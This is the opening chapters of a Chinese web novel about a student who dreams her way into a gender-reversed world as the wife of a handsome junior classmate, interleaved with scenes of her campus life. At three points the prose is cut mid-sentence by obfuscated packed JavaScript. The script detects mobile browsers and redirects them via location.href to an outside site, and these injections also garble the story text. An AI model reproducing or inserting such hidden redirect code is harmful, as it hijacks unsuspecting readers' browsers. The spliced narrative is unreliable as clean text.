《入梦之后[万人迷]》 1. 第 1 章 “老婆,你醒啦。” 男声声音清亮,但老婆二字喊得极为缠绵,燕舒从卧室出来,站在陌生的客厅中顺着声音看去。 厨房里的男生长相俊秀,身姿挺拔,上身穿着一件粉色的短袖,下身是白色长裤,身上围着围裙,见她看过来,温柔笑道:“饿啦。” 说着解下身上的围裙,端着菜走出厨房。 看得出来,他对这个房子很熟悉,很快象牙白的餐桌上就摆满了丰盛的菜品,燕舒扫一眼发现竟然真的全是她爱吃的菜。 他拉开凳子,坐下,发现燕舒竟然还呆呆站在原地,起身又拉着燕舒的手,将她按在椅子上坐下。 “怎么了,今天怎么呆呆的。”他在她身旁坐下,挑起燕舒的下巴,低头在燕舒的唇上亲了亲。 燕舒瞪大眼睛。 对方见她这样,脸上露出笑容,眼睛弯弯。 “怎么了嘛?又在因为网上的言论烦心?” “阿舒,我都说了,我愿意养你。你陪在我身边就是最好的事,根本不需要出去赚钱。你才不是软饭女!他们都是嫉妒我,有你这么一个好老婆。等我以后生了宝宝,你就在家陪宝宝,我赚钱!”男人捏了捏燕舒的脸,说着又要吻上来。 什么? 宝宝? 燕舒低头,视线落在男人的肚子上…… 她猛地站起来,起身后退,再次打量周围的一切。 “老婆,怎么了?” 燕舒不确定自己是穿越了还是在做梦,如果是做梦,这场景也太真实了!这剧情也太离谱了! 都说梦境是潜意识的反映,可她怎么不知道自己这么变态! 她记得她明明是因为生日与室友喝多了所以一回寝室就躺上床睡了过去,怎么一睁眼就在一个陌生的房间,还有一个陌生的男人叫自己老婆。 不,不应该说是陌生的男人,但燕舒与他只见过两次,连点头之交都算不上,怎么就成自己的老公了? 她死死盯着对方,试探出声:“纪佳时?” 虽然燕舒与纪佳时只见过两面,但对方并不是个无名之辈,这位法学院的学弟在他入学第一天就因为颜值在校内频道上引起了热议,一些人拍下他的脸在发在校园墙上大胆表白、索要联系方式。 燕舒无聊网上闲逛时,还给一张他站在树下等人的照片点了赞。至于线下的两次见面,仅仅只是偶然遇见而已。 她承认,这个学弟很有姿色,她也喜欢,但燕舒根本不敢妄想啊! 怎么睡一觉起来对方就成了自己的老公了呢?还要让他给自己生宝宝? 我这么狂野? “老婆?”对方也试探答应。 燕舒震惊,竟然真的是纪佳时。 “等等!站着别动!”燕舒抬手制止纪佳时上前的步伐。 他听了,眼睫轻眨,虽然不解,但也真的乖乖站着不动。 他看着燕舒在房间中快速走动,看她用力踩踏地板,她憋红了脸想抬起沙发,看她下狠手掐自己的胳膊…… “老婆,你要掐就掐我吧。”他抬起手臂看向燕舒。 燕舒瞥了他一眼,一脸面如菜色坐在沙发上。 难道我穿越了? 真实的房间、真实的物品、真实的痛觉,这一切似乎都在向燕舒表明一件事:这不是梦。 小说里的穿越真的发生了,但燕舒开心不起来。莫名奇妙出现在一个新的地方,面对一个陌生男人,得有多神经大条才不会感到不安啊。 想到刚刚的亲吻,燕舒用手擦了擦嘴。 她不是不喜欢男色,只是主动和被迫有区别,她刚刚还没反应过来就被亲了,很烦。 于是,她看向纪佳时的眼中也带了不耐、厌烦的情绪。 纪佳时接收到她眼神中的信号,忽地一怔,唇角下撇,不安和委屈的情绪藏都藏不住。他小心又慢吞吞地移到燕舒面前,然后跪了下来。 在燕舒惊诧的眼神中,纪佳时道:“老婆,你别生我气。我知道你最近很不开心,都是我的错!我母父对你很不好,她们不同意我们的婚事,但你放心我已经和她们断绝关系了!” “从此以后,我只有你一个家人。” 越听,燕舒越觉得古怪。 这怎么像一出性转版的有钱大小姐因为爱上了穷小子和家人断绝关系的戏码? 而且听纪佳时之前的话,她不仅被他家人不喜,更是在网上被骂软饭女。 母父?男生子? 燕舒隐隐有了一个猜测:她不会是穿进一个与现实世界颠倒的女尊男卑的世界了吧。 这个家的客厅很大,风格是燕舒喜欢的法式风,悬挂在墙上的电视大概八十寸左右。燕舒盯着电视,然后转身看向纪佳时,面色不虞,“不想吃了,心烦,把电视打开,把我手机给我。” 经过之前的慌乱和无措,现在燕舒的脑子终于归位,试着为自己刚刚的行为找补和迈出了解这个世界的第一步。 她看着纪佳时,不知道对方脑子里在想什么,只能从对方的脸上看出,他放松了下来。 “好。” 纪佳时打开了电视,走进刚刚燕舒走出的卧室为她找手机。 电视的东西还是那些,新闻、电视剧、综艺节目、广告等等。不过,不同的是男女地位的颠倒导致很多东西发生了变化,最明显的一点就是霸总电视剧里的霸总是女的。 《霸道总裁爱上我》、《重生之我是太女白月光》、《狠心老婆,我不爱了》、《养的软饭女竟是隐藏大佬》…… 壳还是一样,只能内容完全变了。 燕舒刚开始看的时候,有些觉得别扭、搞笑,新旧东西的碰撞让她无法言说。 此时,纪佳时拿着手机出来了。 他眼睛亮晶晶,坐在燕舒身边,将手机递给她,身体轻轻地蹭她撒娇。 燕舒身体一僵,慢慢坐远。 手机密码没变,里面的各个APP也没什么变化。她点开微信,里面的资料没什么变化,就是多了几个人,备注是“183,活好,口口xxcm”、“187,温柔,”…… 燕舒大为震惊。 她如果不是从陌生地方醒来就照镜子看过自己的脸,她真的要怀疑“她不是她”了。 点进聊天框,里面什么消息都没有,看来自己删得很干净。想到这里,燕舒略微心虚地瞥了瞥身旁的人,她还记得对方可是养着自己,为了和她结婚宁愿与家里断绝关系的老公。 他们的关系应该是正当的。 燕舒全神贯注玩手机时,纪佳时也在全神贯注地看着她,看他点进那几个头像的聊天框,他眼中出现一抹愤恨与嫉妒,随后马上低头掩藏起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126977|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他知道燕舒很招人喜欢,她大学的时候就万花从中过,片叶不沾身,所以与他确定关系后还有很多人惦记她,他理解。 他想起曾经她对他说过的爱的誓言,心里又酸又甜。到底,她是他的。花心的她为他停留,这怎么不是爱情!浪&女回头金不换! 但是很多男人不理解他,还骂他。 想到这里,纪佳时又生气了。他连忙也拿起手机点进书书APP,又欣赏了一遍自己写的与燕舒的完美爱情故事,再点进评论区。 有苦心劝告的,“你别被骗了,爱上凤凰女没有好下场!你又是家中独生子,迟早被她吃干抹净!” 纪佳时回复:“我老婆根本不是那样的人,她就是爱我的人,我乐意养她!” 有骂他娇夫脑,神经病,发贴出来侮辱他们、气他们的。 纪佳时不以为意,这些人就是不知道有老婆多好。 在这些纷纷扰扰的评论中,最令纪佳时破防的一句还是“你老婆根本不爱你。” “滚!我老婆最爱我!” 他看了下那人的IP地,竟然就在C 市。 在纪佳时与网友对骂的同时,燕舒也从自己与其他人的各种聊天记录里拼凑了自己与他的故事。 还是一个学校,各自专业不变,两人因部门间的交流而相识,之后燕舒对纪佳时展开了追求,然后成功拿下。在一起四年感情甜蜜,纪佳时毕业后见双方家长,不过因为纪家不同意纪佳时嫁给她,所以他直接与家里断绝关系了。 目前,纪佳时在律所工作,这房子也纪家之前买给他的,而燕舒因为找工作不顺待业在家。 网友骂的不错,她真是软饭女。 了解到这里时,燕舒认真思考了一下,她怎会沦落至此。 好吧,这确实是她。 如果不是家里实力不够,她也想啃老。现在嘛,是啃老公。 她转身看向纪佳时,眼中情绪复杂。 其实,这个故事还有一个隐藏版本。那就是,燕舒之所以追求纪佳时完全是喝醉了和室友打断,她和他甜蜜在一起四年直至目前即将领证结婚可能目的并不单纯。 她与其他人的聊天里反复提到“纪佳时适合结婚”。 爱情?那些干净的聊天框说明,他们之间可能并不存在百分百的爱情。多是隐瞒和欺骗。 “老婆?”纪佳时抬头,意识到燕舒已经看了他许久。 他脸红。 他从不偷看燕舒的手机,也不会去在她玩手机时偷看,哪怕她知道她在干什么,他面上还是装淡然,虽然心中已经十分痛苦,想哭。 他要做一个大度的男人。 为女人争风吃醋的手段早过时了。她们只会觉得烦,然后逐渐远离你。 “你。”燕舒看着纪佳时,不知道说些什么。她和他原本就是陌生人。 而且,燕舒有些社恐。 突然,一道刺目的白光从窗外照进来,一瞬间,玻璃破碎,整间房间都动荡起来,然后层层碎裂。 燕舒看见,坐在身旁的纪佳时朝她扑来想拉住他的手,但一阵无形的气波荡开,他们分开,纪佳时消失。 夜色静谧,C大女寝室楼内,108舍房间内。 燕舒猛地从床上坐起,床帘内外都一片漆黑,她低声喃喃。 “是梦?” 2. 第 2 章 时间刚刚早上六点。 燕舒醒了就睡不着了,或许是因为昨晚酒精的缘故,也或许是因为那个离奇的梦,总之她的脑子里乱成一团。 她得做些什么。 拉开床帘,燕舒轻手轻脚爬下床,两位室友还在熟睡,她拿上椅子上的衣服,慢吞吞挪到阳台。 天空是如墨般深沉但天际又透出一点浅淡的蓝色,四周寂静,早上的冷空气抚上燕舒暴露在空气中的肌肤,她抖了抖。 她站在淋浴头下,按下开关,热水从头顶倾泻,打湿她的头发。很快,狭小的空间内热气蒸腾,燕舒一边用泡泡揉搓头发,一边回忆思考昨晚醉酒后自己发生了什么事。 昨天是她二十二岁的生日,本来她是不想过生日的,结果寝室里两名室友想起她的生日,直接干脆利落地把她拉出门,下午逛街买东西,晚上吃烧烤谈心。或许是三人都各有烦恼,竟也互相喝酒碰杯。 说实话,燕舒朋友不多,寝室里的这两位也不能算真朋友。大学三年,大家互相吵过、闹过、和好过,但只能算阶段性朋友,像是毕业就不再联系之后唯一的交集可能是结婚送份子钱。 反正,燕舒只打算送份子钱,参加婚宴还是算了吧。 在梦里的手机里,这两位也真的在毕业后没和她联系,几人的聊天时间停留在两年前。 她唯一一个称得上一拍即合、恨不早相逢的朋友只有寝室里另一位搬出去住的李梦音,但这位是个恋爱脑,十分重色轻友,自从谈恋爱后就看不见身影,大三下更是直接搬去校外与男友同居。今日燕舒生日却是早早和男友坐车去外地玩了。 燕舒本来很生气,对此更是在聊天软件上狠狠地谴责了对方,然后便收到了八百八十八的红包。 她气消了。 什么事在钱面前都不算是,如果不行,那就是钱还不够。 梦里,燕舒追溯她与纪佳时的故事,大部分也是从李梦音的聊天记录里翻找出来的。 不过,不知道是不是梦境编造故事的局限,李梦音的聊天记录只有最近两年的,但燕舒依旧没看完,而且里面好多人名和外号,她也没看懂。反正,整个梦都非常奇怪。 思绪回归,燕舒穿上衣服,用毛巾拧干发尾的水,轻轻推门走出,继续回忆昨晚的事。 她记得,她们三人一路慢悠悠往学校的方向晃荡,路过河岸,又一同趴在了桥上吹风。 路过遛狗的大爷大妈看见她们三个年轻的女醉鬼,知道是C大的学生,还好心劝告她们小心,毕竟,酒鬼跳河淹死不算少数事件。又等了等,见她们没做出什么危险举动,才走。 之后,好像又一起坐在草坪还是凉亭里喝酒、唱歌。 站在洗衣房,燕舒拿着吹风机的手突然用力,她记起来了! 昨天晚上,她见过纪佳时! 他身后还有几个男生,似乎是他的室友。她扯住他的衣服说了什么,周围的人都笑了起来。 再多的,她就想不起来了。 燕舒感到崩溃。她醉酒后究竟做了什么? 难不成,她昨天醉酒后骚扰了纪佳时,被他拒绝了,所以自己记恨他,潜意识记住了,梦里安排纪佳时成为了一个为她断绝家族联系的为爱痴狂恋爱脑? 燕舒简直现在就想冲回寝室把她两位室友摇起来,问昨天的事。但最终忍了又忍,一脸麻木插上插头吹起了头发。 她又想起了那个梦,太真实了,梦里的自己又太清醒了,还以为是穿越呢。 看来只是偶然的一个梦。 吹着吹着,燕舒胡思乱想起来,她想自己梦里怎么能这么美呢?不上班当软饭女,养自己的小学弟长得还又高又帅,还极度恋爱脑,那套燕舒奋斗二十年估计都买不起的房子,梦里就那样唾手可得。 真好啊! 可也只能是梦。 燕舒很有自知之明,她只是一个平庸的普通人。 长相呢?不丑但也不是什么美女,化妆后也就那样。 性格?比较内向。 再谈才华。燕舒什么都没有。 4月初,春寒料峭,清晨的雾气未散,燕舒呼吸平稳地在操场跑道上慢跑。C大很大,燕舒所在的运动场接近女寝和教师公寓,旁边还有一个小公园,晚上公园里全是小情侣,所以燕舒只在清晨运动后散步进入过公园。 天已经亮了,公园被些许雾气围绕,绿林茵茵,地上绿草茂盛,到底也是被人工修整过的。几株玉兰开花了,有淡粉色的,也有白色的,很好看。 她路过健身器材处,发现已经有人站在漫步机上走啊走了。 燕舒走上前,笑着打招呼,“周教授。”然后也踏上一旁剩下的漫步机。 “是小舒啊。”身着中式短款厚马甲的老太太回应道。 周教授叫周荣芳,年过六十,是C大的荣誉教授,退休前教国际政治,燕舒听过她的几次演讲。有一次早上跑完步来公园散步遇见了,就和周教授打招呼,聊上了。后来几次遇见,两人勉强熟悉。 周荣芳也确实对这个小姑娘有些记忆,毕竟这么早跑步锻炼的人她遇见得很少,何况这个姑娘很有礼貌,聊天也和她聊得到一起。毕竟,这世上有些蠢货你和它怎么说都说不进去。 “最近怎么都没看见你?”周教授问。 燕舒笑笑,道:“大三下有些忙,最近早上都没时间运动。” 老太太点头,“也是,你都大三了,有什么想法吗?你是工商管理专业的,你要考研吗?” 周教授的丈夫是经济学的一位教授,这是燕舒后来与周教授聊熟才知道。她后来高频率早起跑步来周教授面前刷脸也存了一点小心思,假如要考研呢? 不过现在嘛,燕舒摇头,“我不准备考研考公,最近在找实习,毕业直接工作。” “工作也好,你这么优秀的孩子,出了社会还怕找不到,加油。” 听着周教授的回复,燕舒苦笑了一下。 两人又聊了两句,燕舒走下漫步机,顺着石子路走出公园。 在食堂里吃了饭,又为两位舍友带了豆浆和包子,燕舒踏上回寝室的路。 进入宿舍,两位室友还睡着,燕舒将两份食物放在他们桌上,敲了敲桌子,道:“已经八点半了,你们还不起床学习?” 寝室四个人,李梦音决定考老家公务员,燕舒决定踏入社会工作,剩下两个则是考研。张悦是C市本地人,家里父母是教职人员,她准备考本校的金融硕士,之后再走其他道路看能不能留校任职。而同样与燕舒来自小城市的钟玉树则选择跨考计算机。 听见燕舒的话,床上响起窸窸窣窣的声音。 燕舒打开了灯。 张悦最先下床,她看见桌上的热豆浆,向燕舒递了一个飞吻。 “多少钱?我转你。” “四块五,不用谢。” 微信提示声叮铃响起,燕舒收下两份转账,在椅子上坐下。 “你昨天醉得厉害,居然能这么早起,让我们这两个考研党脸面何在。”张悦盯着燕舒一脸惊奇。 她旁边的钟玉树也点头。 说到醉酒,燕舒终于忍不住了,她把椅子往前挪,问:“我昨天喝断片了,我不记得后面的事了, 发生了什么?” 张悦和钟玉树听了,转头对视,眼中溢出笑意,然后两人抖着肩膀哈哈笑。 “发生了什么!” “快告诉我!”燕舒着急。 “哈哈哈哈,哎呀,我们录了视频。”张悦边笑,便从桌子上摸出手机,打开相册递给燕舒。 视频开头,张悦与钟玉树的大笑响起,镜头摇摇晃晃上升,然后对准了前面的燕舒。看样子,是中途突然拍摄的。 只见视频中,燕舒将四个男生拦住,然后指着中间最高的男生道:“我给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126978|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们唱歌。” “喜羊羊!美羊羊!别看我只是一只羊!呃……”她记不住歌词。 几个男生愣住了,试探喊:“同学,你没事吧?” 镜头晃动得更厉害了,随后的画面就是地面了,应该是张悦拿着手机跑到燕舒身边了。 “同学,不好意思,她喝醉了哈哈哈哈哈!” “哦哦,没事。” “要我们帮你扶住她吗?” 这是几人在交流。 “我真的还想再活五百年!做人一地肝胆!做人何惧艰险!” “喜羊羊!我喜欢你啊!请和我交往吧!” 这是燕舒在胡言乱语。 视频最后黑屏了,燕舒的脸也黑了。 她又看了钟玉树手机里的视频,再结合几人的语言描述。 她确定,她昨晚真的出糗出大了,她们三人又在校门口的商店买了果酒和伏特加混着喝,边喝边咒骂这个世界然后胡言乱语。 刚好,遇上了纪佳时四人,燕舒喝酒谈到自己大学三年只谈过一次网恋,还是大一开学的时期,之后就没谈过恋爱了,于是呜呜假哭,“我的青春要逝去了。我以后再谈恋爱也不可能是校园恋情了。难受啊。” 张悦指着走来的纪佳时一行人,“喏,上去要微信!拿下他们!” 然后,燕舒真的上去了。 她拦住了他们,并且狠狠地骚扰了他们。 在张悦与钟玉树两人的疯笑中,燕舒面如死灰地站起身。她没话说了,但内心在高猿长啸。只求昨天夜太黑,纪佳时一行人没看清她的脸。 “啊啊啊啊啊啊!”她扑上了床。 “喜羊羊!我喜欢你!请和我交往吧!” 男生寝室楼的电梯内,站着纪佳时四人,随着这句话的响起,除了纪佳时,其他人都忍不住弯腰大笑。 纪佳时面上无奈,“够了,别说了。” 自从昨天晚上之后,他们三个便在纪佳时面前不断重复。导致昨天他入睡时脑子里都被这句话环绕,不得已带着耳机听歌入睡。 今天早上,这三人又开始了。 “喜羊羊,我喜欢你,请和我交往吧。”程云做作地撩头发,邪魅一笑,发出咕噜咕噜的气泡音。 “哈哈哈哈哈!”剩下两个又笑疯了。 一边吐槽一边笑,“卧槽,程云你好恶心啊!” 直到电梯进了人,三人才安静,不过对视几眼又忍不住,只能瘪着嘴转头。 上课,纪佳时转着笔,难得的走神了。 昨天,并不是他第一次见那个学姐。每 一次见面,她都给他留下了深刻印象。 第一次,青年志愿者协会招人,他站在过道的窗边等待,她从另一间教室出来,和别人打电话,但似乎是争吵。她言辞很犀利,生气了会冷笑,一双眼睛里透露着无声的蔑视。她很高挑,扎着高马尾,很有精神。 挺酷。 第二次,食堂排队,他听见前面有几个女生在聊他,他侧身一瞥就看见了她,她说:“长得帅都小白脸。而且,他长成那样……” 她抬头,他冲她微笑。 她低下头没出声了,前面几个人也不聊了。 他看着几人跑路离开的背影,面上神色淡淡。第一次见面就有好感的女生,结果再见听见她在说你坏话。 心里是什么感觉呢? 那次以后,他没再遇见她。C大很小,在C市的大学城中不过也只占6700亩,并不是占地最大的大学。C大也很大,如果没有缘分,有些人在这小小的校园怎么也遇不上。 第三次,就是昨天晚上。 没有刻意的寻找,他们依旧遇见了,想来还是有缘分的。 纪佳时嘴角微微上扬。 唱歌虽然难听,但很有气势。胡说八道时眼睛依旧亮亮的,脸蛋红红的。 很可爱。 3. 第 3 章 燕舒中午睡了个午觉,睡得很安稳,什么都没梦到,这让她更确定早上的梦只是一个偶然。 心里有点释然,又有点失落。 不过,随着手机铃声的响起,这些情绪通通都消失了。 她该上课了。 燕舒今年大三下学期,课很少,但依旧有,除了几门必修课,她还有一门选修课,因为学分没凑够。 寝室里早已没人,她快步下床,穿好衣服,梳了梳头发,拿着书跑出寝室。 今天她有些迟了,走在她前面的就是上课的教授。男人穿着黑色大衣,身姿挺阔,身材很结实,是个背影杀手。 燕舒连忙一个健步冲过他身边,抢先在他之前进入教室。 进入教室,她傻眼了,偌大的阶梯式教室,后面坐满了,中间也坐满了,就剩前面的几排零星坐着几个人,看样子和她一样来晚了。无奈,她只能在第三排坐下。 她刚坐下,外面的人就走进来了。 燕舒不知道是不是她敏感了,她总觉得这位进来就看了她一眼。 教授叫莫沅,经济学专业的教授,选修课教国际经济,人很年轻才三十出头,长得也帅,履历更是金光闪闪,不过……她根本没想选这门选修课,她本意是选门网课,结果没抢到,就只剩下这门了。 男人站上讲台,扫了眼教室内的众人,露出死亡微笑。 “后面三排上前补齐前三排。” 教室里安静了一瞬,然后才响起脚步声和低语声。很快,燕舒四周都坐满了人。 安全感瞬间拉满。 “我上次课就说了,我上课只有两个要求,第一,要来,第二,要完成作业。很简单的两个要求,只要完成了就不会有人挂科。” “现在,开始随机点名。” “有些没来的同学,希望你有足够的运气。” 莫教授还是很有实力的,虽然严厉、毒舌、刻薄、喜欢说些冷笑话,讲课虽然有PPT但从不照着PPT念。他旁征博引,从分析各国政府在经济领域的政策选择到揭示全球经济动态的微妙变化,深入浅出地将复杂的经济理论和实际案例完美结合。 不过,不感兴趣的还是不感兴趣,上课玩手机的人不在少数。 下课铃声响起,教室发出哄闹声,当她和一群人挤在门口时,她转头发现莫教授就站在她身边。内心腹诽,莫教授动作还挺快。本来想转头假装没看见他,结果男人低头和她对上眼睛。如此,燕舒只能点头,对方也点头回应。 随后,燕舒快速朝电梯处赶去,刚好挤上。 电梯门缓缓地关上,她看见莫教授慢慢走来,站在了门口。 两人对视,燕舒努力使自己在男人毫无波澜的平静眼神中不落下风,然后门彻底关上。 电梯口,莫沅抬手推了推眼镜。 好饿。 燕舒奔向食堂。 吃完饭,燕舒在买甜筒,突然身边响起一道男声,“同学”。 穿着白色羽绒服的男生笑眯眯地站在她身旁看着她,燕舒转动脑袋环视左右,问:“你叫我?” “对呀。同学,你不记得了?” “也对。”男生面上恍然大悟,然后,兴奋说:“你昨天喝醉酒,你拦下我们寝室,唱歌。” 燕舒面上僵住,这什么运气,昨天在他们面前出糗,今天就又遇上了。 “你还表白了、”对方继续说着,燕舒却已经想跑了。 她侧头焦急盯着旁边的店员,只听“83,甜筒。” 于是,她赶紧转身接过甜筒,越过身边的人,快步离开了。走出食堂,她又大步跑起来向坐车的站台出发。 远离了那人,燕舒的尴尬症才稍微缓解。 食堂里,白榆看着离开的人呆住了,等到他反应过来,人已经不见了。 遇上昨晚的女生,白榆是很惊喜的,他本来就是个自来熟的性子,于是上前想和她聊天,还想要她的微信。哪知,他还没说几句话,对方就跑了。 到底是哪里不对?他今天太丑了? 白榆想立刻照镜子。他和纪佳时比不了,但怎么说也算个阳光开朗的小帅哥,怎么就能把人吓跑呢?这不正常。 “你去哪了?刚刚打饭没看见你。”程云问。 他们一行人四人占据食堂左侧的一张桌子的空位坐下。 “我刚刚去要微信了。”白榆说。 坐在白榆对面的纪佳时面色依旧平淡地吃着饭,似乎对这事并不感兴趣。但另外两个室友程云和周兆鹏听了神色立马兴奋起来,大一才过了一学期,他们对恋爱这件事依旧保有热情。 他们四个都是C市本地人,但家境亦有差别。像纪佳时虽然没怎么在寝室中炫过富,但大家又不是睁眼瞎,自然能看得出对方出身。几人本来以为纪佳时这人肯定会因为家庭条件好、长得帅而到处谈女朋友,没想到入学到现在依旧单身。 白榆,主动透露过家庭,说家里开了个小厂,在寝室里出手也大方,长得个高,收拾收拾也人模狗样,因为性格开朗,一开学军训就谈了恋爱。上学期末分手,三人在楼上看见他被女生连扇三个巴掌。 回来后程云八卦,自己主动说:“腻了,不想谈了就分了,然后她赏了我三个巴掌吃。” 宿舍底层则是周兆鹏和程云二人,普通家庭,没有外在优势,每月家里给的生活费虽然也够,但因为在白榆和纪佳时两人身边,所以总感觉有些不够看。想谈恋爱但又不敢主动出击,于是只好看着白榆每天到处孔雀开屏。 “谁?长什么样?”程云问。 “就昨晚的女生。”白榆指了指纪佳时,“喜羊羊。” 纪佳时抬起了头。 “啊,你居然还记得对方长相,我都忘了她长什么样了。”一旁的周兆鹏道。 “昨天不是刚见过面吗?记忆力这么不好?”白榆道。 “昨天晚上见面的,路灯下那么昏暗,谁能记那么清楚。”周兆鹏反驳。 他指向程云,“你,你记得吗?” 程云拍开他的手,目光炯炯看向白榆,“你和人家聊什么了?要到微信了?” 白榆摇头,将他和对方的聊天全过程复述出来,然后纳闷道:“我长得丑吗?把她吓到了?” 纪佳时看见白榆摇头后就又继续低头认真吃饭了。 但耳朵又不受控制地接收白榆的声音,“不知道是同届的还是学姐,长得一般,白天比晚上好看,站着很有气质……” 晚上九点多。 燕舒在打电话。 “妈,你别说了。我知道了。” “好的,好的,好的。” “我会的。要是陈平生真来C大找我,我一定会好好招待他的。不过你是不是想多了,人家又不傻又有钱,来C市又不是自己玩不转,需要我?” “好,我不反驳你了,就这样,我挂电话了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126979|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >燕舒挂断电话,无奈地叹了口气。 身后,张悦转动椅子撞了撞燕舒,问:“你妈又给你播报那谁了?” 燕舒瘫倒在桌子上,“不,这次是让我带人家在C市玩。” “我真搞不懂她怎么想的,人家和我又不熟。” “反正,如果对方真打电话来了,我就去,没有就算了,我才不舔着脸上前呢。” 张悦又凑上去,拍了拍她的肩,面带笑容,眼睛转了转,嘿嘿道:“姐妹,有没有一种可能,你妈在撮合你们。” “就是因为不熟,所以才要让你们聚一聚。” 燕舒坐起身,皱眉,“不可能!” “怎么不可能!” 小时候,燕舒一家是租房子住的,另一家租客就是陈平生一家,所以他们从小相识,都互相见证过对方的黑历史。 她和他关系不好,至于原因,燕舒忘了。反正她记得陈平生不招她喜欢,她吃得多是个小胖墩,而陈平生又因为体弱偏瘦,所以她经常把他按在地上欺负。 后来陈家父母做生意家境变好,他们一家就搬家了。虽然两家人还有交往,但燕舒记得自己小学三年级后就没见过陈平生了。 她初一再遇见陈平生时,对方已经上初三了。 他们家还在为卖房的钱奋斗时,陈家已经住上大别墅了。 她进了大别墅,又见到陈平生妈妈,她依旧对她很好,还让陈平生在学校里照顾她。于是,那一年下课放学时,燕舒都能在教室后面看见陈平生,他臭着一张脸,见她望来立马举起手表瞪她。 他说,要不是因为他妈他才不会等她呢。 对此,燕舒冷哼反击,她懒得理他。 燕舒上初二,陈平生跳级上高二,然后他们便很少见面了,不是一个学校,家也不在一处,燕舒也很少去陈家蹭吃蹭喝了。 燕舒上高中,陈平生上大学然后又出国交换。 他们的人生在十三岁以后就一直错开着。 他们真的不熟。 燕舒经常能听见她妈夸奖陈平生如何如何了,多么多么优秀,听多了,就烦了。可能是因为嫉妒吧,隐约的她有点讨厌陈平生。 现在听到张悦说她妈要撮合他们,第一是感到不可置信,第二是有点想笑。 “好,就算我妈想撮合我们,那也是她痴心妄想。” “这件事根本不可能!” “为什么?”听见两人讨论得这么激烈,一直埋头看书的钟玉树也转身加入这场论战。 “你们青梅竹马,你们两家又熟,他现在有钱有颜,试试呗。” 燕舒看了眼两人,颇为无奈,“问题是我和他不熟,他不喜欢我。兔子还不吃窝边草呢,我要是上去啃了这颗白菜,以后我妈和梅姨肯定连朋友都做不了。” 张悦反驳,“你怎么会这么想,你妈叫你去带他玩,他妈怎么会不知道呢?说不定,这事的推手就是你们两家父母。” 燕舒沉默。 她不知道说什么了,可能张悦说的是真的。但最大的问题是陈平生不喜欢她啊! 她替他尴尬。然后开始胡思乱想,他不会是被迫来C市的吧。 燕舒甩了甩头,然后猛地起身,“不说了!话题怎么偏到这个方向了!” “你们两个不继续看书学习,八卦我干什么!” 说完,她拉回椅子坐下,戴上耳机继续看电影。 不能再想了! 4. 第 4 章 燕舒睁开眼睛,房间太亮了,下意识地抬手挡住眼睛。 不,不对! 放下手臂,感受到盖在身上的柔软,猛地坐起身环顾四周——头顶华丽的水晶吊顶、入目精致的欧式家具依旧床对面的大落地窗。温暖的阳光正从窗外直射进来,阳光照在地毯上使得其以金色丝线绣成的纹路都在闪闪发光。 很显然,她又做梦了。而且,梦境的环境变了。 燕舒掀开被子下床,赤脚踩在地毯上,快步朝落地窗走去。她趴在落地窗前,俯瞰远处的建筑群,很清晰。 这次的梦境绝对不是偶然。什么梦能这么清晰,醒来全程不忘的,简直像是在她脑子里重新构建了一个电脑模型。 所幸燕舒阅览群书,她觉着这是她的金手指来了。不管这金手指是不是三体人攻占地球而给予她的包着毒药的糖,燕舒决定吃了再说。 “系统!系统!你在吗?”燕舒轻声问,脑袋上下左右转动。 嗯?没有回应?难道不应该说出来? 燕舒闭上眼睛在心里虔诚地喊:‘系统!系统?你在吗?’ ‘王母娘娘?财神爷?玉帝?上帝?’ 没反应? 突然,一双手攀上燕舒的腰,炙热的手掌捂着燕舒的小肚子,灼热而宽大的躯体也从身后贴近燕舒。 燕舒全身僵住了。 一个脑袋靠在她的耳边,对着她的耳朵轻轻吹气,问:“老婆,你刚刚在说些什么啊。” 痒。 燕舒偏头,有些不适,身体都轻轻抖动起来。 果然,场景变了,人物的行为也会变。上一个场景,纪佳时在厨房做饭,燕舒在房间里缓了好一会儿才出门探索新地图。现在,她才下床没一会,梦里的人就到她身边来了,还问她刚刚说了些什么。 “放开我,我不舒服。”燕舒挣扎,想脱离身后人的怀抱。 哪知对方抱得更紧了,手还揉她的肚子,声音喑哑,喘着气问她,“不舒服?老婆,我也不舒服。” “想被老婆踩。” 燕舒听着这声音,想歪了,小脸通黄。她低头看自己,穿着真丝吊带睡裙,裸露出的肌肤有些地方确实有点不对劲。 纪佳时怎么这么……这么不对劲!和上一个梦里的人设根本不一样! “放开我!”这次,燕舒因为太羞耻加重了语气。 这次,身后的人快速放开了手。燕舒往左侧的空地移动,然后转身……愣住了。 她想好了该如何面对今天梦里黄地过分的纪佳时,可是问题是:今天梦里的人根本不是纪佳时! 男人身材健硕,下半身围着毛巾,上半身裸露,八块腹肌! 